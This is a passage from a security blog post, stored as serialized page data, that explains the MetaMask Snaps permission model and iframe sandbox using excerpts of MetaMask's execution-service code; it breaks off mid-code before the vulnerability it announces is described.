[{"data":1,"prerenderedAt":167319},["ShallowReactive",2],{"blog-/blog/2023-11-01-metamask-snaps":3,"featured-blog-posts":5208},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":13,"date":17,"isFeatured":18,"onBlogPage":18,"body":19,"_type":5202,"_id":5203,"_source":5204,"_file":5205,"_stem":5206,"_extension":5207},"/blog/2023-11-01-metamask-snaps","blog",false,"","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[11,12],"bruno","caue",{"src":14,"height":15,"width":16},"/posts/metamask-snaps/header.png",512,1024,"2023-11-01",true,{"type":20,"children":21,"toc":5183},"root",[22,31,37,42,47,53,58,65,79,84,89,97,132,138,143,162,169,175,191,198,219,520,548,554,573,976,996,1009,1332,1353,1629,1634,1640,1645,1658,1663,1676,1939,1983,1996,2002,2016,2022,2028,2041,2078,2084,2104,2219,2246,2252,2271,2284,2290,2295,2314,2426,2431,2452,2465,2482,2583,2609,2626,2750,2777,2789,2794,2800,2806,2811,2834,2839,2844,2850,2856,2884,3289,3316,3343,3349,3383,3701,3720,3725,3750,3763,3769,3796,4094,4130,4148,4153,4188,4193,4199,4204,4211,4217,4244,5064,5084,5090,5111,5161,5167,5172,5177],{"type":23,"tag":24,"props":25,"children":27},"element","h2",{"id":26},"overview",[28],{"type":29,"value":30},"text","Overview",{"type":23,"tag":32,"props":33,"children":34},"p",{},[35],{"type":29,"value":36},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":23,"tag":32,"props":38,"children":39},{},[40],{"type":29,"value":41},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":23,"tag":32,"props":43,"children":44},{},[45],{"type":29,"value":46},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":23,"tag":24,"props":48,"children":50},{"id":49},"sandbox-security",[51],{"type":29,"value":52},"Sandbox Security",{"type":23,"tag":32,"props":54,"children":55},{},[56],{"type":29,"value":57},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":23,"tag":59,"props":60,"children":62},"h3",{"id":61},"permission-based-security",[63],{"type":29,"value":64},"Permission-based security",{"type":23,"tag":32,"props":66,"children":67},{},[68,70,77],{"type":29,"value":69},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":23,"tag":71,"props":72,"children":74},"code",{"className":73},[],[75],{"type":29,"value":76},"snap.manifest.json",{"type":29,"value":78}," file and can be critical to security.",{"type":23,"tag":32,"props":80,"children":81},{},[82],{"type":29,"value":83},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":23,"tag":32,"props":85,"children":86},{},[87],{"type":29,"value":88},"Here are the critical permissions possible to be given to a snap:",{"type":23,"tag":32,"props":90,"children":91},{},[92],{"type":23,"tag":93,"props":94,"children":96},"img",{"alt":7,"src":95},"/posts/metamask-snaps/permissions.png",[],{"type":23,"tag":98,"props":99,"children":100},"ul",{},[101,121],{"type":23,"tag":102,"props":103,"children":104},"li",{},[105,111,113,119],{"type":23,"tag":71,"props":106,"children":108},{"className":107},[],[109],{"type":29,"value":110},"snap_getBip44Entropy",{"type":29,"value":112}," and ",{"type":23,"tag":71,"props":114,"children":116},{"className":115},[],[117],{"type":29,"value":118},"snap_getBip32Entropy",{"type":29,"value":120}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":23,"tag":102,"props":122,"children":123},{},[124,130],{"type":23,"tag":71,"props":125,"children":127},{"className":126},[],[128],{"type":29,"value":129},"endowment:transaction-insight",{"type":29,"value":131}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":23,"tag":59,"props":133,"children":135},{"id":134},"snap-execution-environment",[136],{"type":29,"value":137},"Snap execution environment",{"type":23,"tag":32,"props":139,"children":140},{},[141],{"type":29,"value":142},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":23,"tag":144,"props":145,"children":146},"ol",{},[147,152,157],{"type":23,"tag":102,"props":148,"children":149},{},[150],{"type":29,"value":151},"An isolated iframe",{"type":23,"tag":102,"props":153,"children":154},{},[155],{"type":29,"value":156},"LavaMoat",{"type":23,"tag":102,"props":158,"children":159},{},[160],{"type":29,"value":161},"SES (Secure EcmaScript)",{"type":23,"tag":32,"props":163,"children":164},{},[165],{"type":23,"tag":93,"props":166,"children":168},{"alt":7,"src":167},"/posts/metamask-snaps/environment.png",[],{"type":23,"tag":59,"props":170,"children":172},{"id":171},"isolated-iframe-layer-1",[173],{"type":29,"value":174},"Isolated Iframe - Layer 1",{"type":23,"tag":32,"props":176,"children":177},{},[178,180,189],{"type":29,"value":179},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":23,"tag":181,"props":182,"children":186},"a",{"href":183,"rel":184},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[185],"nofollow",[187],{"type":29,"value":188},"Iframe",{"type":29,"value":190}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":23,"tag":192,"props":193,"children":195},"h4",{"id":194},"the-framework-metamask-extension-repo",[196],{"type":29,"value":197},"The Framework: Metamask-Extension Repo",{"type":23,"tag":32,"props":199,"children":200},{},[201,203,209,211,217],{"type":29,"value":202},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":23,"tag":71,"props":204,"children":206},{"className":205},[],[207],{"type":29,"value":208},"metamask-controller.js",{"type":29,"value":210}," file. Here's a glimpse of the relevant ",{"type":23,"tag":181,"props":212,"children":215},{"href":213,"rel":214},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[185],[216],{"type":29,"value":71},{"type":29,"value":218},":",{"type":23,"tag":220,"props":221,"children":225},"pre",{"className":222,"code":223,"language":224,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n  messenger: this.controllerMessenger.getRestricted({\n    name: 'ExecutionService',\n  }),\n  setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n  'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[226],{"type":23,"tag":71,"props":227,"children":228},{"__ignoreMap":7},[229,241,250,278,332,369,389,398,442,451,460,469,498,512],{"type":23,"tag":230,"props":231,"children":234},"span",{"class":232,"line":233},"line",1,[235],{"type":23,"tag":230,"props":236,"children":238},{"style":237},"--shiki-default:#6A9955",[239],{"type":29,"value":240},"// Import snaps-controllers\n",{"type":23,"tag":230,"props":242,"children":244},{"class":232,"line":243},2,[245],{"type":23,"tag":230,"props":246,"children":247},{"style":237},[248],{"type":29,"value":249},"// ...\n",{"type":23,"tag":230,"props":251,"children":253},{"class":232,"line":252},3,[254,260,266,272],{"type":23,"tag":230,"props":255,"children":257},{"style":256},"--shiki-default:#569CD6",[258],{"type":29,"value":259},"const",{"type":23,"tag":230,"props":261,"children":263},{"style":262},"--shiki-default:#9CDCFE",[264],{"type":29,"value":265}," snapExecutionServiceArgs",{"type":23,"tag":230,"props":267,"children":269},{"style":268},"--shiki-default:#D4D4D4",[270],{"type":29,"value":271}," =",{"type":23,"tag":230,"props":273,"children":275},{"style":274},"--shiki-default:#E6E6E6",[276],{"type":29,"value":277}," {\n",{"type":23,"tag":230,"props":279,"children":281},{"class":232,"line":280},4,[282,287,292,298,303,308,313,318,322,327],{"type":23,"tag":230,"props":283,"children":284},{"style":262},[285],{"type":29,"value":286},"  iframeUrl:",{"type":23,"tag":230,"props":288,"children":289},{"style":256},[290],{"type":29,"value":291}," new",{"type":23,"tag":230,"props":293,"children":295},{"style":294},"--shiki-default:#DCDCAA",[296],{"type":29,"value":297}," URL",{"type":23,"tag":230,"props":299,"children":300},{"style":274},[301],{"type":29,"value":302},"(",{"type":23,"tag":230,"props":304,"children":305},{"style":262},[306],{"type":29,"value":307},"process",{"type":23,"tag":230,"props":309,"children":310},{"style":274},[311],{"type":29,"value":312},".",{"type":23,"tag":230,"props":314,"children":315},{"style":262},[316],{"type":29,"value":317},"env",{"type":23,"tag":230,"props":319,"children":320},{"style":274},[321],{"type":29,"value":312},{"type":23,"tag":230,"props":323,"children":324},{"style":262},[325],{"type":29,"value":326},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":23,"tag":230,"props":328,"children":329},{"style":274},[330],{"type":29,"value":331},"),\n",{"type":23,"tag":230,"props":333,"children":335},{"class":232,"line":334},5,[336,341,346,350,355,359,364],{"type":23,"tag":230,"props":337,"children":338},{"style":262},[339],{"type":29,"value":340},"  messenger:",{"type":23,"tag":230,"props":342,"children":343},{"style":256},[344],{"type":29,"value":345}," this",{"type":23,"tag":230,"props":347,"children":348},{"style":274},[349],{"type":29,"value":312},{"type":23,"tag":230,"props":351,"children":352},{"style":262},[353],{"type":29,"value":354},"controllerMessenger",{"type":23,"tag":230,"props":356,"children":357},{"style":274},[358],{"type":29,"value":312},{"type":23,"tag":230,"props":360,"children":361},{"style":294},[362],{"type":29,"value":363},"getRestricted",{"type":23,"tag":230,"props":365,"children":366},{"style":274},[367],{"type":29,"value":368},"({\n",{"type":23,"tag":230,"props":370,"children":372},{"class":232,"line":371},6,[373,378,384],{"type":23,"tag":230,"props":374,"children":375},{"style":262},[376],{"type":29,"value":377},"    name:",{"type":23,"tag":230,"props":379,"children":381},{"style":380},"--shiki-default:#CE9178",[382],{"type":29,"value":383}," 'ExecutionService'",{"type":23,"tag":230,"props":385,"children":386},{"style":274},[387],{"type":29,"value":388},",\n",{"type":23,"tag":230,"props":390,"children":392},{"class":232,"line":391},7,[393],{"type":23,"tag":230,"props":394,"children":395},{"style":274},[396],{"type":29,"value":397},"  }),\n",{"type":23,"tag":230,"props":399,"children":401},{"class":232,"line":400},8,[402,407,411,415,420,424,429,433,438],{"type":23,"tag":230,"props":403,"children":404},{"style":262},[405],{"type":29,"value":406},"  setupSnapProvider:",{"type":23,"tag":230,"props":408,"children":409},{"style":256},[410],{"type":29,"value":345},{"type":23,"tag":230,"props":412,"children":413},{"style":274},[414],{"type":29,"value":312},{"type":23,"tag":230,"props":416,"children":417},{"style":262},[418],{"type":29,"value":419},"setupSnapProvider",{"type":23,"tag":230,"props":421,"children":422},{"style":274},[423],{"type":29,"value":312},{"type":23,"tag":230,"props":425,"children":426},{"style":294},[427],{"type":29,"value":428},"bind",{"type":23,"tag":230,"props":430,"children":431},{"style":274},[432],{"type":29,"value":302},{"type":23,"tag":230,"props":434,"children":435},{"style":256},[436],{"type":29,"value":437},"this",{"type":23,"tag":230,"props":439,"children":440},{"style":274},[441],{"type":29,"value":331},{"type":23,"tag":230,"props":443,"children":445},{"class":232,"line":444},9,[446],{"type":23,"tag":230,"props":447,"children":448},{"style":274},[449],{"type":29,"value":450},"};\n",{"type":23,"tag":230,"props":452,"children":454},{"class":232,"line":453},10,[455],{"type":23,"tag":230,"props":456,"children":457},{"emptyLinePlaceholder":18},[458],{"type":29,"value":459},"\n",{"type":23,"tag":230,"props":461,"children":463},{"class":232,"line":462},11,[464],{"type":23,"tag":230,"props":465,"children":466},{"style":237},[467],{"type":29,"value":468},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":23,"tag":230,"props":470,"children":472},{"class":232,"line":471},12,[473,477,481,485,489,493],{"type":23,"tag":230,"props":474,"children":475},{"style":262},[476],{"type":29,"value":307},{"type":23,"tag":230,"props":478,"children":479},{"style":274},[480],{"type":29,"value":312},{"type":23,"tag":230,"props":482,"children":483},{"style":262},[484],{"type":29,"value":317},{"type":23,"tag":230,"props":486,"children":487},{"style":274},[488],{"type":29,"value":312},{"type":23,"tag":230,"props":490,"children":491},{"style":262},[492],{"type":29,"value":326},{"type":23,"tag":230,"props":494,"children":495},{"style":268},[496],{"type":29,"value":497}," =\n",{"type":23,"tag":230,"props":499,"children":501},{"class":232,"line":500},13,[502,507],{"type":23,"tag":230,"props":503,"children":504},{"style":380},[505],{"type":29,"value":506},"  'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":23,"tag":230,"props":508,"children":509},{"style":274},[510],{"type":29,"value":511},";\n",{"type":23,"tag":230,"props":513,"children":515},{"class":232,"line":514},14,[516],{"type":23,"tag":230,"props":517,"children":518},{"style":237},[519],{"type":29,"value":249},{"type":23,"tag":32,"props":521,"children":522},{},[523,525,531,533,539,541,546],{"type":29,"value":524},"This code is defining the ",{"type":23,"tag":71,"props":526,"children":528},{"className":527},[],[529],{"type":29,"value":530},"snapExecutionServiceArgs",{"type":29,"value":532}," object, which contains information required for the ",{"type":23,"tag":71,"props":534,"children":536},{"className":535},[],[537],{"type":29,"value":538},"IframeExecutionService",{"type":29,"value":540}," to execute snaps. The ",{"type":23,"tag":71,"props":542,"children":544},{"className":543},[],[545],{"type":29,"value":326},{"type":29,"value":547}," points to the location where the execution environment resides.",{"type":23,"tag":192,"props":549,"children":551},{"id":550},"executing-snaps-iframeexecutionservice-in-action",[552],{"type":29,"value":553},"Executing Snaps: IframeExecutionService in Action",{"type":23,"tag":32,"props":555,"children":556},{},[557,559,564,566,572],{"type":29,"value":558},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":23,"tag":71,"props":560,"children":562},{"className":561},[],[563],{"type":29,"value":538},{"type":29,"value":565}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":23,"tag":181,"props":567,"children":570},{"href":568,"rel":569},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[185],[571],{"type":29,"value":71},{"type":29,"value":218},{"type":23,"tag":220,"props":574,"children":578},{"className":575,"code":576,"language":577,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n  `${controllerName}:handleRpcRequest`,\n  async (snapId: string, options: SnapRpcHookArgs) =>\n    this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n  // Initialize job, streams, and environment\n  const { jobId } = await this.initJob(snapData);\n  const { worker, stream } = await this.initEnvStream(jobId);\n  // ...\n}\n","typescript",[579],{"type":23,"tag":71,"props":580,"children":581},{"__ignoreMap":7},[582,590,620,652,709,746,754,761,769,776,783,791,828,836,895,958,967],{"type":23,"tag":230,"props":583,"children":584},{"class":232,"line":233},[585],{"type":23,"tag":230,"props":586,"children":587},{"style":237},[588],{"type":29,"value":589},"// Register message handlers for snap interactions\n",{"type":23,"tag":230,"props":591,"children":592},{"class":232,"line":243},[593,597,601,606,610,615],{"type":23,"tag":230,"props":594,"children":595},{"style":256},[596],{"type":29,"value":437},{"type":23,"tag":230,"props":598,"children":599},{"style":274},[600],{"type":29,"value":312},{"type":23,"tag":230,"props":602,"children":603},{"style":262},[604],{"type":29,"value":605},"#messenger",{"type":23,"tag":230,"props":607,"children":608},{"style":274},[609],{"type":29,"value":312},{"type":23,"tag":230,"props":611,"children":612},{"style":294},[613],{"type":29,"value":614},"registerActionHandler",{"type":23,"tag":230,"props":616,"children":617},{"style":274},[618],{"type":29,"value":619},"(\n",{"type":23,"tag":230,"props":621,"children":622},{"class":232,"line":252},[623,628,633,638,643,648],{"type":23,"tag":230,"props":624,"children":625},{"style":380},[626],{"type":29,"value":627},"  `",{"type":23,"tag":230,"props":629,"children":630},{"style":256},[631],{"type":29,"value":632},"${",{"type":23,"tag":230,"props":634,"children":635},{"style":262},[636],{"type":29,"value":637},"controllerName",{"type":23,"tag":230,"props":639,"children":640},{"style":256},[641],{"type":29,"value":642},"}",{"type":23,"tag":230,"props":644,"children":645},{"style":380},[646],{"type":29,"value":647},":handleRpcRequest`",{"type":23,"tag":230,"props":649,"children":650},{"style":274},[651],{"type":29,"value":388},{"type":23,"tag":230,"props":653,"children":654},{"class":232,"line":280},[655,660,665,670,674,680,685,690,694,699,704],{"type":23,"tag":230,"props":656,"children":657},{"style":256},[658],{"type":29,"value":659},"  async",{"type":23,"tag":230,"props":661,"children":662},{"style":274},[663],{"type":29,"value":664}," (",{"type":23,"tag":230,"props":666,"children":667},{"style":262},[668],{"type":29,"value":669},"snapId",{"type":23,"tag":230,"props":671,"children":672},{"style":268},[673],{"type":29,"value":218},{"type":23,"tag":230,"props":675,"children":677},{"style":676},"--shiki-default:#4EC9B0",[678],{"type":29,"value":679}," string",{"type":23,"tag":230,"props":681,"children":682},{"style":274},[683],{"type":29,"value":684},", ",{"type":23,"tag":230,"props":686,"children":687},{"style":262},[688],{"type":29,"value":689},"options",{"type":23,"tag":230,"props":691,"children":692},{"style":268},[693],{"type":29,"value":218},{"type":23,"tag":230,"props":695,"children":696},{"style":676},[697],{"type":29,"value":698}," SnapRpcHookArgs",{"type":23,"tag":230,"props":700,"children":701},{"style":274},[702],{"type":29,"value":703},") ",{"type":23,"tag":230,"props":705,"children":706},{"style":256},[707],{"type":29,"value":708},"=>\n",{"type":23,"tag":230,"props":710,"children":711},{"class":232,"line":334},[712,717,721,726,730,734,738,742],{"type":23,"tag":230,"props":713,"children":714},{"style":256},[715],{"type":29,"value":716},"    this",{"type":23,"tag":230,"props":718,"children":719},{"style":274},[720],{"type":29,"value":312},{"type":23,"tag":230,"props":722,"children":723},{"style":294},[724],{"type":29,"value":725},"handleRpcRequest",{"type":23,"tag":230,"props":727,"children":728},{"style":274},[729],{"type":29,"value":302},{"type":23,"tag":230,"props":731,"children":732},{"style":262},[733],{"type":29,"value":669},{"type":23,"tag":230,"props":735,"children":736},{"style":274},[737],{"type":29,"value":684},{"type":23,"tag":230,"props":739,"children":740},{"style":262},[741],{"type":29,"value":689},{"type":23,"tag":230,"props":743,"children":744},{"style":274},[745],{"type":29,"value":331},{"type":23,"tag":230,"props":747,"children":748},{"class":232,"line":371},[749],{"type":23,"tag":230,"props":750,"children":751},{"style":274},[752],{"type":29,"value":753},");\n",{"type":23,"tag":230,"props":755,"children":756},{"class":232,"line":391},[757],{"type":23,"tag":230,"props":758,"children":759},{"emptyLinePlaceholder":18},[760],{"type":29,"value":459},{"type":23,"tag":230,"props":762,"children":763},{"class":232,"line":400},[764],{"type":23,"tag":230,"props":765,"children":766},{"style":237},[767],{"type":29,"value":768},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":23,"tag":230,"props":770,"children":771},{"class":232,"line":444},[772],{"type":23,"tag":230,"props":773,"children":774},{"style":237},[775],{"type":29,"value":249},{"type":23,"tag":230,"props":777,"children":778},{"class":232,"line":453},[779],{"type":23,"tag":230,"props":780,"children":781},{"emptyLinePlaceholder":18},[782],{"type":29,"value":459},{"type":23,"tag":230,"props":784,"children":785},{"class":232,"line":462},[786],{"type":23,"tag":230,"props":787,"children":788},{"style":237},[789],{"type":29,"value":790},"// Execute a snap\n",{"type":23,"tag":230,"props":792,"children":793},{"class":232,"line":471},[794,799,804,808,813,818,823],{"type":23,"tag":230,"props":795,"children":796},{"style":262},[797],{"type":29,"value":798},"async",{"type":23,"tag":230,"props":800,"children":801},{"style":294},[802],{"type":29,"value":803}," executeSnap",{"type":23,"tag":230,"props":805,"children":806},{"style":274},[807],{"type":29,"value":302},{"type":23,"tag":230,"props":809,"children":810},{"style":262},[811],{"type":29,"value":812},"snapData",{"type":23,"tag":230,"props":814,"children":815},{"style":274},[816],{"type":29,"value":817},": ",{"type":23,"tag":230,"props":819,"children":820},{"style":262},[821],{"type":29,"value":822},"SnapExecutionData",{"type":23,"tag":230,"props":824,"children":825},{"style":274},[826],{"type":29,"value":827},") {\n",{"type":23,"tag":230,"props":829,"children":830},{"class":232,"line":500},[831],{"type":23,"tag":230,"props":832,"children":833},{"style":237},[834],{"type":29,"value":835},"  // Initialize job, streams, and environment\n",{"type":23,"tag":230,"props":837,"children":838},{"class":232,"line":514},[839,844,849,854,859,864,870,874,878,883,887,891],{"type":23,"tag":230,"props":840,"children":841},{"style":256},[842],{"type":29,"value":843},"  const",{"type":23,"tag":230,"props":845,"children":846},{"style":274},[847],{"type":29,"value":848}," { ",{"type":23,"tag":230,"props":850,"children":851},{"style":262},[852],{"type":29,"value":853},"jobId",{"type":23,"tag":230,"props":855,"children":856},{"style":274},[857],{"type":29,"value":858}," } ",{"type":23,"tag":230,"props":860,"children":861},{"style":268},[862],{"type":29,"value":863},"=",{"type":23,"tag":230,"props":865,"children":867},{"style":866},"--shiki-default:#C586C0",[868],{"type":29,"value":869}," await",{"type":23,"tag":230,"props":871,"children":872},{"style":256},[873],{"type":29,"value":345},{"type":23,"tag":230,"props":875,"children":876},{"style":274},[877],{"type":29,"value":312},{"type":23,"tag":230,"props":879,"children":880},{"style":294},[881],{"type":29,"value":882},"initJob",{"type":23,"tag":230,"props":884,"children":885},{"style":274},[886],{"type":29,"value":302},{"type":23,"tag":230,"props":888,"children":889},{"style":262},[890],{"type":29,"value":812},{"type":23,"tag":230,"props":892,"children":893},{"style":274},[894],{"type":29,"value":753},{"type":23,"tag":230,"props":896,"children":898},{"class":232,"line":897},15,[899,903,907,912,916,921,925,929,933,937,941,946,950,954],{"type":23,"tag":230,"props":900,"children":901},{"style":256},[902],{"type":29,"value":843},{"type":23,"tag":230,"props":904,"children":905},{"style":274},[906],{"type":29,"value":848},{"type":23,"tag":230,"props":908,"children":909},{"style":262},[910],{"type":29,"value":911},"worker",{"type":23,"tag":230,"props":913,"children":914},{"style":274},[915],{"type":29,"value":684},{"type":23,"tag":230,"props":917,"children":918},{"style":262},[919],{"type":29,"value":920},"stream",{"type":23,"tag":230,"props":922,"children":923},{"style":274},[924],{"type":29,"value":858},{"type":23,"tag":230,"props":926,"children":927},{"style":268},[928],{"type":29,"value":863},{"type":23,"tag":230,"props":930,"children":931},{"style":866},[932],{"type":29,"value":869},{"type":23,"tag":230,"props":934,"children":935},{"style":256},[936],{"type":29,"value":345},{"type":23,"tag":230,"props":938,"children":939},{"style":274},[940],{"type":29,"value":312},{"type":23,"tag":230,"props":942,"children":943},{"style":294},[944],{"type":29,"value":945},"initEnvStream",{"type":23,"tag":230,"props":947,"children":948},{"style":274},[949],{"type":29,"value":302},{"type":23,"tag":230,"props":951,"children":952},{"style":262},[953],{"type":29,"value":853},{"type":23,"tag":230,"props":955,"children":956},{"style":274},[957],{"type":29,"value":753},{"type":23,"tag":230,"props":959,"children":961},{"class":232,"line":960},16,[962],{"type":23,"tag":230,"props":963,"children":964},{"style":237},[965],{"type":29,"value":966},"  // ...\n",{"type":23,"tag":230,"props":968,"children":970},{"class":232,"line":969},17,[971],{"type":23,"tag":230,"props":972,"children":973},{"style":274},[974],{"type":29,"value":975},"}\n",{"type":23,"tag":32,"props":977,"children":978},{},[979,981,986,988,994],{"type":29,"value":980},"The ",{"type":23,"tag":71,"props":982,"children":984},{"className":983},[],[985],{"type":29,"value":538},{"type":29,"value":987}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":23,"tag":71,"props":989,"children":991},{"className":990},[],[992],{"type":29,"value":993},"${controllerName}:executeSnap",{"type":29,"value":995}," handler triggers the snap execution process.",{"type":23,"tag":192,"props":997,"children":999},{"id":998},"step-by-step-execution-from-initialization-to-iframe-creation",[1000,1002],{"type":29,"value":1001},"Step-by-Step Execution: From Initialization to iFrame ",{"type":23,"tag":181,"props":1003,"children":1006},{"href":1004,"rel":1005},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[185],[1007],{"type":29,"value":1008},"creation",{"type":23,"tag":220,"props":1010,"children":1012},{"className":575,"code":1011,"language":577,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n    worker: Window;\n    stream: BasePostMessageStream;\n  }> {\n    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n    const stream = new WindowPostMessageStream({\n      name: 'parent',\n      target: 'child',\n      targetWindow: iframeWindow,\n      targetOrigin: '*',\n    });\n\n    return { worker: iframeWindow, stream };\n  }\n",[1013],{"type":23,"tag":71,"props":1014,"children":1015},{"__ignoreMap":7},[1016,1066,1087,1108,1116,1181,1188,1216,1233,1250,1267,1284,1292,1299,1324],{"type":23,"tag":230,"props":1017,"children":1018},{"class":232,"line":233},[1019,1024,1029,1034,1038,1042,1046,1051,1056,1061],{"type":23,"tag":230,"props":1020,"children":1021},{"style":262},[1022],{"type":29,"value":1023},"protected",{"type":23,"tag":230,"props":1025,"children":1026},{"style":262},[1027],{"type":29,"value":1028}," async",{"type":23,"tag":230,"props":1030,"children":1031},{"style":294},[1032],{"type":29,"value":1033}," initEnvStream",{"type":23,"tag":230,"props":1035,"children":1036},{"style":274},[1037],{"type":29,"value":302},{"type":23,"tag":230,"props":1039,"children":1040},{"style":262},[1041],{"type":29,"value":853},{"type":23,"tag":230,"props":1043,"children":1044},{"style":274},[1045],{"type":29,"value":817},{"type":23,"tag":230,"props":1047,"children":1048},{"style":262},[1049],{"type":29,"value":1050},"string",{"type":23,"tag":230,"props":1052,"children":1053},{"style":274},[1054],{"type":29,"value":1055},"): ",{"type":23,"tag":230,"props":1057,"children":1058},{"style":676},[1059],{"type":29,"value":1060},"Promise",{"type":23,"tag":230,"props":1062,"children":1063},{"style":274},[1064],{"type":29,"value":1065},"\u003C{\n",{"type":23,"tag":230,"props":1067,"children":1068},{"class":232,"line":243},[1069,1074,1078,1083],{"type":23,"tag":230,"props":1070,"children":1071},{"style":262},[1072],{"type":29,"value":1073},"    worker",{"type":23,"tag":230,"props":1075,"children":1076},{"style":268},[1077],{"type":29,"value":218},{"type":23,"tag":230,"props":1079,"children":1080},{"style":676},[1081],{"type":29,"value":1082}," Window",{"type":23,"tag":230,"props":1084,"children":1085},{"style":274},[1086],{"type":29,"value":511},{"type":23,"tag":230,"props":1088,"children":1089},{"class":232,"line":252},[1090,1095,1099,1104],{"type":23,"tag":230,"props":1091,"children":1092},{"style":262},[1093],{"type":29,"value":1094},"    stream",{"type":23,"tag":230,"props":1096,"children":1097},{"style":268},[1098],{"type":29,"value":218},{"type":23,"tag":230,"props":1100,"children":1101},{"style":676},[1102],{"type":29,"value":1103}," BasePostMessageStream",{"type":23,"tag":230,"props":1105,"children":1106},{"style":274},[1107],{"type":29,"value":511},{"type":23,"tag":230,"props":1109,"children":1110},{"class":232,"line":280},[1111],{"type":23,"tag":230,"props":1112,"children":1113},{"style":274},[1114],{"type":29,"value":1115},"  }> {\n",{"type":23,"tag":230,"props":1117,"children":1118},{"class":232,"line":334},[1119,1124,1129,1133,1137,1142,1146,1150,1154,1159,1163,1168,1173,1177],{"type":23,"tag":230,"props":1120,"children":1121},{"style":274},[1122],{"type":29,"value":1123},"    const ",{"type":23,"tag":230,"props":1125,"children":1126},{"style":262},[1127],{"type":29,"value":1128},"iframeWindow",{"type":23,"tag":230,"props":1130,"children":1131},{"style":268},[1132],{"type":29,"value":271},{"type":23,"tag":230,"props":1134,"children":1135},{"style":866},[1136],{"type":29,"value":869},{"type":23,"tag":230,"props":1138,"children":1139},{"style":294},[1140],{"type":29,"value":1141}," createWindow",{"type":23,"tag":230,"props":1143,"children":1144},{"style":274},[1145],{"type":29,"value":302},{"type":23,"tag":230,"props":1147,"children":1148},{"style":256},[1149],{"type":29,"value":437},{"type":23,"tag":230,"props":1151,"children":1152},{"style":274},[1153],{"type":29,"value":312},{"type":23,"tag":230,"props":1155,"children":1156},{"style":262},[1157],{"type":29,"value":1158},"iframeUrl",{"type":23,"tag":230,"props":1160,"children":1161},{"style":274},[1162],{"type":29,"value":312},{"type":23,"tag":230,"props":1164,"children":1165},{"style":294},[1166],{"type":29,"value":1167},"toString",{"type":23,"tag":230,"props":1169,"children":1170},{"style":274},[1171],{"type":29,"value":1172},"(), ",{"type":23,"tag":230,"props":1174,"children":1175},{"style":262},[1176],{"type":29,"value":853},{"type":23,"tag":230,"props":1178,"children":1179},{"style":274},[1180],{"type":29,"value":753},{"type":23,"tag":230,"props":1182,"children":1183},{"class":232,"line":371},[1184],{"type":23,"tag":230,"props":1185,"children":1186},{"emptyLinePlaceholder":18},[1187],{"type":29,"value":459},{"type":23,"tag":230,"props":1189,"children":1190},{"class":232,"line":391},[1191,1195,1199,1203,1207,1212],{"type":23,"tag":230,"props":1192,"children":1193},{"style":274},[1194],{"type":29,"value":1123},{"type":23,"tag":230,"props":1196,"children":1197},{"style":262},[1198],{"type":29,"value":920},{"type":23,"tag":230,"props":1200,"children":1201},{"style":268},[1202],{"type":29,"value":271},{"type":23,"tag":230,"props":1204,"children":1205},{"style":256},[1206],{"type":29,"value":291},{"type":23,"tag":230,"props":1208,"children":1209},{"style":294},[1210],{"type":29,"value":1211}," WindowPostMessageStream",{"type":23,"tag":230,"props":1213,"children":1214},{"style":274},[1215],{"type":29,"value":368},{"type":23,"tag":230,"props":1217,"children":1218},{"class":232,"line":400},[1219,1224,1229],{"type":23,"tag":230,"props":1220,"children":1221},{"style":262},[1222],{"type":29,"value":1223},"      name:",{"type":23,"tag":230,"props":1225,"children":1226},{"style":380},[1227],{"type":29,"value":1228}," 